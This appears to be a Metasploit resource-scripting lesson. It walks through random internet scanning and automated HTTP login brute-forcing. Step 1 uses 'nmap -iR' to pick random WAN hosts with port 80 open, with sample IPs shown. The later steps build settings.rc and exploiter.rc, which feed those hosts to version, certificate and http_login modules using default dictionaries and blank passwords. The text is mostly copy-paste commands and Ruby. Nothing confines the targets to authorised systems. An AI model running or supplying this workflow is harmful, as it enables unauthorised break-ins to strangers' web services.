[ RC / ERB scripting lesson 8 ]
 
 
 
                                                         exercise description:
             The follow exercise uses "nmap to search in WAN networks" for targets with port tcp "80 http" open,
             then we are going to build one resource file "settings.rc" to auto-config options in auxiliary modules.

             For last we need to build "exploiter.rc" file to run nmap nse and msf auxiliary modules againts
             all RHOSTS found by previous nmap WAN scan, gathering info about target and running msf auxiliarys
             to brute-force http service with msf default dicionary.

             Why setting a global variable? The follow resource file uses 3 metasploit auxiliary modules
             and in all of them we need to fead diferent variables, setting variables globally saves us
             extra scripting time.







             1º scan in WAN for port 80 (HTTP) open:
             --------------------------------------
             nmap -sS -PN -iR 100 -p 80 --open --reason


             2º store RHOSTS found by nmap into one variable:
             HINT: "seperate diferent targets by using a blank space"
             ----------------------------------------
             rhosts="<target ip> <target ip> <target ip>"
             example: rhosts="184.29.155.101 72.246.238.166 203.109.205.95"



             3º build 'settings.rc' config resource file:
             "open terminal and write"
             -----------------------------------------
             echo "hosts -a $rhosts" > settings.rc
             echo "setg RHOSTS $rhosts" >> settings.rc
             echo "setg THREADS 3" >> settings.rc
             echo "setg BLANK_PASSWORDS true" >> settings.rc
             echo "setg STOP_ON_SUCCESS true" >> settings.rc
             echo "resource exploiter.rc" >> settings.rc



             4º build 'exploiter.rc' resource file:
             "open text editor and copy the follow lines into it"
             ----------------------------------------------------

<ruby>
print_line("")
print_status("Please wait, checking if RHOSTS are set globally...")
  if (framework.datastore['RHOSTS'] == nil)
    print_error("[ERROR] Please set RHOSTS globally: setg RHOSTS xxx.xxx.xxx.xxx")
  return
end
 
# Using nmap to populate metasploit database (db_nmap)
print_good("RHOSTS set globally [ OK ] running Nmap scans...")
run_single("nmap -sS -T4 -Pn --script http-headers.nse -p 80 --reason #{framework.datastore['RHOSTS']}")
print_line("")
print_good("Please wait, running msf auxiliary modules...")
</ruby>
 
# running msf auxiliary modules
hosts
use auxiliary/scanner/http/http_version
run
use auxiliary/scanner/http/cert
run
use auxiliary/scanner/http/http_login
run





             5º run 'settings.rc' config resource file:
             ------------------------------------------ 
             msfconsole -r settings.rc



             6º clean things up in the end of lesson:
             ---------------------------------------
             msf auxiliary(http_login) > unset -g RHOST RHOSTS BLANK_PASSWORDS STOP_ON_SUCCESS THREADS
             msf auxiliary(http_login) > hosts -d
             msf auxiliary(http_login) > exit -y




EOF